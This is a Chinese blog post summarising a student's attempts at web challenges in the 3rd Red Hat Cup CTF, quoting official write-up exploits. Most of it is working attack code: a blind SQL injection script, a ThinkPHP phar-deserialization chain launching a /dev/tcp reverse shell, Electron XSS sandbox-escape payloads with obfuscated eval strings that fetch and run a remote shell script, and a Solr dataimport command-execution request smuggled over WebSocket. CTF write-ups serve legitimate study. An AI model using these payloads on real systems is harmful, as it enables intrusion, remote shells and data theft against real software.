一些比赛的总结哈哈哈哈哈哈

原创

调皮的俊 于 2019-11-26 11:14:24 发布 104 收藏
文章标签： write up

本文链接：https://blog.csdn.net/qq_43573131/article/details/103050271

只做了web，然后一个都没做出来，嘿嘿写个总结

主要总结，python，php写脚本要反复练习，sql，xss，tp反序列化要深挖

第三届红帽杯

easyweb

一道很明显的sql注入题，判断出注入点后，需要注入脚本， 在sql注入这块，高端的注入方法特别特别不熟练，最近需要好好补一下

360杯和上海的那个都有类似的，都是卡半截了，还是菜，难受

附上writeup
https://mp.weixin.qq.com/s/nV4CyUNWpQZMFzqDVeUM2w

存在sql注入，注入点：

```
/?s=/Api/Lt/gbooklist&orderby=if(ascii(substr((select%20flaag%20from%20fl4g),{},1))={},sleep(6),1)%23
```

注入脚本

```
import requests
import sys
import string
flag = ''
url = sys.argv[1]
url = url.rstrip('/')
url = url+'?s=/Api/Lt/gbooklist&orderby=if(ascii(substr((select flaag from fl4g),{},1))={},sleep(6),1)%23'
for i in xrange(1,50):
    for j in xrange(45,127):
        try:
            a = requests.get(url.format(i,j),timeout=3)
        except:
            flag+=chr(j)
            print flag
```

Ticket—System

这个题很可惜，看到题目，随便登陆用户后，发现在填写ticket的地方存在XXE
根据源码提示打开了 hints.txt
也发现了 thinkPHP 报错 而且版本是5.2叽叽叽忘了，当时知道应该是要利用XXE读取php源码，然后结合thinkphp框架，phar反序列化，但很可惜 thinkphp反序列化学的8太深，只知道个皮毛，这个需要恶补！！！

附上官方writeup
直接从反序列化那里开始吧，前面的就不说了
3. 挖掘 Thinkphp pop 链，可用 phar 反序列化.
exp：

```
<?php
namespace think\process\pipes {
    class Windows
    {
        private $files;
        public function __construct($files)
        {
            $this->files = array($files);
        }
    }
}

namespace think\model\concern {
    trait Conversion
    {
        protected $append = array("Zedd" => "1");
    }

    trait Attribute
    {
        private $data;
        private $withAttr = array("Zedd" => "system");

        public function get($system)
        {
            $this->data = array("Zedd" => "$system");
        }
    }
}
namespace think {
    abstract class Model
    {
        use model\concern\Attribute;
        use model\concern\Conversion;
    }
}

namespace think\model{
    use think\Model;
    class Pivot extends Model
    {
        public function __construct($system)
        {
            $this->get($system);
        }
    }
}

namespace {
    $Conver = new think\model\Pivot("bash -c 'sh >& /dev/tcp/一个IP/2015 0>&1'");
    $payload = new think\process\pipes\Windows($Conver);
    ini_set('phar.readonly',0);
    @unlink("phar.phar");
    $phar = new Phar("phar.phar"); //后缀名必须为phar
```

```
    $phar->startBuffering();
    $phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>"); //设置stub
    $phar->setMetadata($payload); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
    rename('phar.phar','phar.xml');
}
?>
```

上传文件拿路径，然后payload触发反序列化
收到反弹的shell，执行/readflag

iCloudMusic
这个题，拿到知道，看了一会，发现是XSS 但是有过滤，用一些基本的办法都绕不过去，放弃了，XSS也是学的不够深嗷，得补补

首先寻找XSS,XSS的点很清晰就是`js_to_run`处的动态拼接js,然而图片header处存在过滤无法逃逸，因此只能从description处入手。

长度限制怎么绕过？
在chrome下有`import`函数可用来引入任意外部js，要求没有同源策略限制且包含的js满足content-type要求。我们只要使用description:

```
'};import('http://xxx.xxx.xxx.xxx/test.js');//
```

如何逃逸webview沙箱？
由于electron的remote模块多处调用了`Object.defineProperty`,因此我们可以通过覆盖defineProperty来劫持webContents对象，具体的payload如下：

```
let originProper=Object.defineProperty;
Object.defineProperty=function(...args){
    if(args.length==3 && args[1]=='name' && args[2].value=='WebContents'){
        Object.defineProperty=originProper;
        let currentContents=args[0]();
        currentContents.hostWebContents.executeJavaScript("require('child_process').exec('open -a Calculator')")
    }
    return originProper(...args);
}
play();
```

exp:
crack.php

```
<?php
$code='a';
while(1){
if(substr(md5($code), 0, 5) === $argv[1])die($code);
$code++;
}
```

g.php:

```
<?php
//指定允许其他域名访问
header('Access-Control-Allow-Origin:*');//一般用法（*，指定域，动态设置），3是因为*不允许携带认证头和cookies
//是否允许后续请求携带认证信息（cookies）,该值只能是true,否则不返回
header('Access-Control-Allow-Credentials:true');
header('Content-Type:text/javascript');

?>
let originProper=Object.defineProperty;
Object.defineProperty=function(...args){
    if(args.length==3 && args[1]=='name' && args[2].value=='WebContents'){
        Object.defineProperty=originProper;
    let currentContents=args[0]();
    let js=`require('child_process').exec('bash -c "bash -i >& /dev/tcp/ip/port 0>&1"');`
        currentContents.hostWebContents.executeJavaScript(js)
    }
    return originProper(...args);
}

play();
```

send2.py:

```
#coding=utf-8
import requests
import os
import json

t=requests.session();

m=t.get('http://127.0.0.1:9999/code.php').json()
print m
s=m['code']
code=os.popen('php crack.php '+s).read().strip()
music_info={'header':'xxx','title':'xxxx','desc':"\uff07\uff5d;eval(String.fromCharCode(111,112,101,110,40,34,10
4,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,36,40,116,111,
117,99,104,36,73,70,83,36,57,47,116,109,112,47,115,117,99,99,101,115,115,41,59,35,47,97,115,100,97,115,100,97,11
5,100,37,48,48,37,49,48,34,41))//"};
music_info['header']='http://www.baidu.com' } **/;eval(String.fromCharCode(111,112,101,110,40,39,104,116,116,112
,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,99,117,114,108,36,73,70,83,
36,57,104,116,116,112,58,47,47,49,50,48,46,55,57,46,49,56,46,49,55,49,58,53,53,53,53,47,36,40,47,114,101,97,100,
102,108,97,103,41,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,39,41))//'#111,112,101,110,40,34,1
04,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,99,117,114,10
8,36,73,70,83,36,57,49,50,48,46,55,57,46,49,56,46,49,55,49,58,53,53,53,53,59,35,47,97,115,100,97,115,100,97,115,
100,37,48,48,37,49,48,34,41))//'#eval(String.fromCharCode(111,112,101,110,40,34,104,116,116,112,58,47,47,120,120
,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,99,117,114,108,36,73,70,83,36,57,49,50,48,46
,55,57,46,49,56,46,49,55,49,47,98,97,99,107,115,104,101,108,108,46,115,104,36,73,70,83,36,57,45,111,36,73,70,83,
36,57,47,116,109,112,47,98,97,99,107,115,104,101,108,108,46,115,104,59,35,47,97,115,100,97,115,100,97,115,100,37
,48,48,37,49,48,34,41))//'#eval(String.fromCharCode(111,112,101,110,40,34,104,116,116,112,58,47,47,120,120,120,1
20,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,36,40,116,111,117,99,104,36,73,70,83,36,57,47,116,
109,112,47,115,117,99,99,101,115,115,41,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,34,41));eval
(String.fromCharCode(111,112,101,110,40,34,104,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66
,67,37,56,55,59,37,48,48,63,59,99,117,114,108,36,73,70,83,36,57,49,50,48,46,55,57,46,49,56,46,49,55,49,47,98,97,
99,107,115,104,101,108,108,46,115,104,36,73,70,83,36,57,45,111,36,73,70,83,36,57,47,116,109,112,47,98,97,99,107,
115,104,101,108,108,46,115,104,59,98,97,115,104,36,73,70,83,36,57,47,116,109,112,47,98,97,99,107,115,104,101,108
,108,46,115,104,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,34,41))//'#xa))eval(String.fromCharC
ode(111,112,101,110,40,34,104,116,116,112,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,4
7,37,51,66,47,37,48,48,63,59,99,117,114,108,36,73,70,83,36,57,49,50,48,46,55,57,46,49,56,46,49,55,49,47,98,97,99
,107,115,104,101,108,108,46,115,104,36,73,70,83,36,57,45,111,36,73,70,83,36,57,47,116,109,112,47,98,97,99,107,11
5,104,101,108,108,46,115,104,59,98,97,115,104,36,73,70,83,36,57,47,116,109,112,47,98,97,99,107,115,104,101,108,1
08,46,115,104,59,35,47,97,115,100,97,115,100,97,115,100,37,48,48,37,49,48,34,41))//'#
#music_info['header']='http://www.baidu.com' } **/;eval(String.fromCharCode(111,112,101,110,40,34,104,116,116,11
2,58,47,47,120,120,120,120,46,99,111,109,37,69,70,37,66,67,37,56,55,59,37,48,48,63,59,36,40,116,111,117,99,104,3
6,73,70,83,36,57,47,116,109,112,47,115,117,99,99,101,115,115,41,59,35,47,97,115,100,97,115,100,97,115,100,37,48,
48,37,49,48,34,41))//'

print music_info;
print t.post('http://127.0.0.1:9999/',{'id':'2676003690','code':code,'music':json.dumps(music_info)}).content
```

Bank-service

这个题，拿到后，交互提示了是solr提供搜索服务，没啥思路，只能看看writeup了

打开网页后，查看源码可发现通过socket.io建立socket连接与后端交互。

交互提示后台使用solr提供搜索服务，联系websocket猜测可能是websocket-smuggle

访问/solr提示403，于是□用websocket-smuggle访问发现可正常访问。

尝试命令执行行，无法外带，只能构造回显，参考 https://paper.seebug.org/1009/ ，可以尝试利利用 ContentStreamDataSource 构造回显，seebug的paper中没有给出poc因此需要参考solr文档构造回显。

exp：

```
import socket

req1 = '''GET /socket.io/?transport=websocket HTTP/1.1
Host: localhost:80
Sec-WebSocket-Version: 1337
Upgrade: websocket

'''.replace('\n', '\r\n')


req2 = '''POST /solr/mail/dataimport?dataConfig=%3CdataConfig%3E%0A%3CdataSource%20name%3D%22streamsrc%22%20type
%3D%22ContentStreamDataSource%22%20loggerLevel%3D%22TRACE%22%20/%3E%0A%3Cscript%3E%3C%21%5BCDATA%5B%0A%20%20%20%
20%20%20%20%20%20%20function%20poc%28row%29%7B%0A%20%20%20%20%20%20%20%20var%20j%3Dnew%20java.io.BufferedReader%
28new%20java.io.InputStreamReader%28java.lang.Runtime.getRuntime%28%29.exec%28%22/readflag%22%29.getInputStream%
28%29%29%29%3B%0A%20%20%20%20%20%20%20%20var%20line%3Dj.readLine%28%29%3B%0A%20%20%20%20%20%20%20%20var%20res%3D
%22%22%3B%0A%20%20%20%20%20%20%20%20while%28line%21%3Dnull%20%26%26%20line%21%3Dundefined%29%7B%0A%20%20%20%20%2
0%20%20%20%20%20%20%20%20res%3Dres%2Bline%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20line%3Dj.readLine%28%29%3B%0A%20
%20%20%20%20%20%20%20%7D%0A%09%09row.put%28%22title_s%22%2Cres%29%3B%0A%09%09return%20row%3B%0A%09%7D%0A%20%20%5
D%5D%3E%3C/script%3E%0A%3Cdocument%3E%0A%20%20%20%20%3Centity%0A%20%20%20%20%20%20%20%20stream%3D%22true%22%0A%2
0%20%20%20%20%20%20%20%20name%3D%22streamxml%22%0A%20%20%20%20%20%20%20%20datasource%3D%22streamsrc1%22%0A%20%20%20
%20%20%20%20%20%20processor%3D%22XPathEntityProcessor%22%0A%20%20%20%20%20%20%20%20rootEntity%3D%22true%22%0A%20%20
%20%20%20%20%20%20%20forEach%3D%22/books/book%22%0A%20%20%20%20%20%20%20%20transformer%3D%22script%3Apoc%22%20%3E%0
A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22res_s%22%20template%3D%22some%20static%20payload%22/
%3E%0A%20%20%20%20%20%20%20%20%20%20%20%20%3Cfield%20column%3D%22title_s%22%20xpath%3D%22/books/book/name%22/%3E
%0A%20%20%20%20%3C/entity%3E%0A%3C/document%3E%0A%3C/dataConfig%3E&command=full-import&debug=true HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-type: application/xml
X-Requested-With: XMLHttpRequest
Content-Length: 135
Connection: close
Referer: http://localhost:8983/solr/
Cookie: csrftoken=gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid=snzojzqa5zn187oghf
06z6xodulpohpr

<?xml version="1.0" encoding="utf-8"?>
<books>
 <book>
 <name>NAME1</name>
 </book>
 <book>
<name>NAME2</name>
</book>
</books>
'''.replace('\n', '\r\n')


def main(netloc):
    host, port = netloc.split(':')

    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, int(port)))

    sock.sendall(req1)
    data=sock.recv(4096)
```

```
    data=sock.recv(4096)
    print data
    print '[+]connection finished'
    print req2
    sock.sendall(req2)
    data = sock.recv(409600)
    data = data.decode(errors='ignore')

    print data

    #sock.shutdown(socket.SHUT_RDWR)
    sock.close()


if __name__ == "__main__":
main('127.0.0.1:3000')
```